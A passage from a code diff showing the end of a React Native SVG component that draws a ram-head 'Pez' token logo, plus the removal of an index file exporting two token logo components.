|
||||
const angle = (i * 22.5) * (Math.PI / 180);
|
||||
const x1 = 50 + 18 * Math.cos(angle);
|
||||
const y1 = 50 + 18 * Math.sin(angle);
|
||||
const x2 = 50 + 28 * Math.cos(angle);
|
||||
const y2 = 50 + 28 * Math.sin(angle);
|
||||
return (
|
||||
<Path
|
||||
key={i}
|
||||
d={`M ${x1} ${y1} L ${x2} ${y2}`}
|
||||
stroke={KurdistanColors.zer}
|
||||
strokeWidth="3"
|
||||
strokeLinecap="round"
|
||||
/>
|
||||
);
|
||||
})}
|
||||
</G>
|
||||
|
||||
{/* Central circle for ram */}
|
||||
<Circle cx="50" cy="50" r="18" fill="url(#pezRamGradient)" />
|
||||
|
||||
{/* Stylized Ram/Goat head silhouette */}
|
||||
{/* Ram face */}
|
||||
<Ellipse cx="50" cy="52" rx="10" ry="12" fill="#D4A96A" />
|
||||
|
||||
{/* Ram horns - left */}
|
||||
<Path
|
||||
d="M 40 45 Q 32 38 30 48 Q 28 55 35 52"
|
||||
fill="none"
|
||||
stroke="#8B7355"
|
||||
strokeWidth="4"
|
||||
strokeLinecap="round"
|
||||
/>
|
||||
|
||||
{/* Ram horns - right */}
|
||||
<Path
|
||||
d="M 60 45 Q 68 38 70 48 Q 72 55 65 52"
|
||||
fill="none"
|
||||
stroke="#8B7355"
|
||||
strokeWidth="4"
|
||||
strokeLinecap="round"
|
||||
/>
|
||||
|
||||
{/* Ram ears - left */}
|
||||
<Ellipse cx="38" cy="48" rx="3" ry="5" fill="#C4A35A" />
|
||||
|
||||
{/* Ram ears - right */}
|
||||
<Ellipse cx="62" cy="48" rx="3" ry="5" fill="#C4A35A" />
|
||||
|
||||
{/* Ram eyes - left */}
|
||||
<Circle cx="45" cy="50" r="2" fill="#2D2D2D" />
|
||||
|
||||
{/* Ram eyes - right */}
|
||||
<Circle cx="55" cy="50" r="2" fill="#2D2D2D" />
|
||||
|
||||
{/* Ram nose */}
|
||||
<Ellipse cx="50" cy="58" rx="4" ry="3" fill="#8B6914" />
|
||||
|
||||
{/* Ram nostrils */}
|
||||
<Circle cx="48" cy="58" r="1" fill="#5D4E37" />
|
||||
<Circle cx="52" cy="58" r="1" fill="#5D4E37" />
|
||||
</Svg>
|
||||
);
|
||||
};
|
||||
|
||||
export default PezTokenLogo;
|
||||
@@ -1,2 +0,0 @@
|
||||
export { default as HezTokenLogo } from './HezTokenLogo';
|
||||
export { default as PezTokenLogo } from './PezTokenLogo';
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user